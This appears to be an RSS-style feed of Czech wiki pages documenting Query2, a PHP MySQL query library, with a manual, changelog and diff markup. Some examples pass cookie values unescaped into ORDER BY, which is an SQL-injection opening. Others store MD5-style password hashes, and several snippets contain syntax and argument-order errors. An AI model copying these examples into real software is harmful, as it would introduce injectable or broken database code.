!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}




!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].
</pre></description>
	</item>

	<item>
	  <title>ChangeLog</title>
	  <pubDate>Tue, 25 May 2010 20:30:45 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=ChangeLog</link>
	  <description><pre id="diff"><ins>!Změny v 1.1.0
''Vydáno 27. 5. 2010''
* liší se od 1.0 v modifikátorech %x (1.1) a %q (1.0). Dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* Podpora pro unbuffered queries s metodou uquery()
* Podpora pro jednoduché a omezené multi query s mquery() - vhodné třeba pro import z exportů databáze
* Rozšířené fetchovací metody o možnost omezit množinu fetchovaných sloupců
* ... a další
</ins>
!Změny v 1.0.5
''Vydáno 25. 5. 2010''
* Opraven případ $q-&gt;query(&quot;DELETE&quot;, $builder); (kombinace Query2Builder s normálními řetězci) který předtím vyhazoval výjimku

!Změny v 1.0.4
''Vydáno 30. 4. 2010''
* V některých případech je SET AUTOCOMMIT=1 po COMMIT nebo ROLLBACK nutné

!Změny v 1.0.3
''Vydáno 24. 3. 2010''
* V určitých vzácných případech se mohlo více % za sebou interpretovat špatně (3 a více).


!Změny v 1.0.2
''Vydáno 18. 3. 2010''
* ''Komplexní'' zápis INSERT INTO ... ON DUPLICATE KEY UPDATE nefungoval v případě, kdy jsme nedefinovali pole sloupců pro update.

!Změny v 1.0.1
''Vydáno 15. 3. 2010''
* v Query2Builderu se zbytečně escapoval vstup z select(), orderBy() a groupBy()
* oprava chyby, kdy IN() nefungovalo pro prázdné pole. Vytvořen nový modifikátor %nin pro NOT IN
* není třeba spouštět SET AUTOCOMMIT = 1 po COMMIT nebo ROLLBACK

!Změny v 1.0.0
''Vydáno 14. 3. 2010''
První veřejná verze
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Thu, 27 May 2010 15:16:04 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]

!Download

Aktuální stabilní verze je 1.1.0, k dispozici ke stáhnutí [zde|./download/Query2-1.1.0.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.

!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* <del>%q (&quot;query&quot;)</del><ins>%x a %X</ins> - pouze vloží argument, <del>nijak ho neupravuje ani</del><ins>volitelně escapuje -</ins> neobklopuje <del>žádným znakem.</del><ins>' ani `.</ins> Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** <del>Vhodné použití je spouštění nativních SQL dotazů $q-&gt;query(&quot;%q&quot;, $native); což</del><ins>liší</ins> se <del>hodí pro jednotné logování a správu chyb.</del><ins>od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.</ins>
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}
<ins></ins>



!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
